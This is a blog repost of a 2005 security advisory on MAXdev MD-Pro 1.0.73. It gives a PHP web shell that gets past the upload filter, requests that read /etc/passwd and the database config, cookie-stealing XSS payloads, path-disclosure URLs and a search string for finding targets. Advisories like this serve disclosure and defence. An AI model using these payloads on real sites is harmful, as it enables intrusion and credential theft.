Search This Blog

Thursday, September 29, 2005

[UNIX] MAXdev MD-Pro Multiple Vulnerabilities (Code Execution, Path Disclosure and CSS)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

MAXdev MD-Pro Multiple Vulnerabilities (Code Execution, Path Disclosure
and CSS)
------------------------------------------------------------------------

SUMMARY

<http://www.maxdev.com/AboutMD.phtml> MD-Pro - "is flexible and reliable
CMS".

Multiple vulnerabilities discovered in MD-Pro allows attacker to cause the
product to execute arbitrary code, disclose the path under which the
product has been installed and embed arbitrary HTML and/or JavaScript into
its pages.

DETAILS

Vulnerable Systems:
* MAXdev MD-Pro version 1.0.73

Remote code execution:
After registration goto "Downloads" page and click on "Add a download",
this is the message:

"You are not authorized to use any of the following filetypes for
uploading: .swf .jsp .php .php3 .php4 .phtml .pl .com .bat .exe"

However you can upload following files:
*.inc , *.pwml and *.php2

Type of files you can execute depends on server configuration should be
better to set which type of files a user CAN upload.

Example:
Upload a file with .inc extension with this code inside:
<?php
error_reporting(0);
system($_GET[c]);
?>

List directories with:
http://[target]/[path]/upload/dl/[filename].inc?c=ls%20-la

See /etc/passwd file:
http://[target]/[path]/upload/dl/[filename].inc?c=cat%20/etc/passwd

See database username and password:
http://[target]/[path]/upload/dl/[filename].inc?c=cat%20.././config/md-config.php

Cross Site Scripting:
http://[target]/[path]/modules.php?op=modload&name=subjects
&file=print&print=<script>alert('LOL')</script>
http://[target]/[path]/modules.php?op=modload&name=Messages
&file=bb_smilies&sitename=</title><script>alert(LOL')</script>
http://[target]/[path]/modules.php?op=modload&name=Messages
&file=bbcode_ref&sitename=</title><script>alert(LOL')</script>
http://[target]/[path]/javascript/openwindow.php?hlpfile=")
<html><script>alert(document.cookie)</script>

Path disclosure:
http://[target]/[path]/modules/Wiki/pnblocks/wiki.php
http://[target]/[path]/modules/AutoTheme/
http://[target]/[path]/modules/Blocks/
http://[target]/[path]/modules/MySQL_Tools/admin.php
http://[target]/[path]/md/modules/Permissions/pnadmin.php
http://[target]/[path]/md/modules/Topics/

GoogleStr: "Powered by MD-Pro" | "made with MD-Pro"

ADDITIONAL INFORMATION

The information has been provided by <mailto:retrogod@aliceposta.it>
retrogod.
The original article can be found at:
<http://rgod.altervista.org/maxdev1073.html>
http://rgod.altervista.org/maxdev1073.html

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

No comments: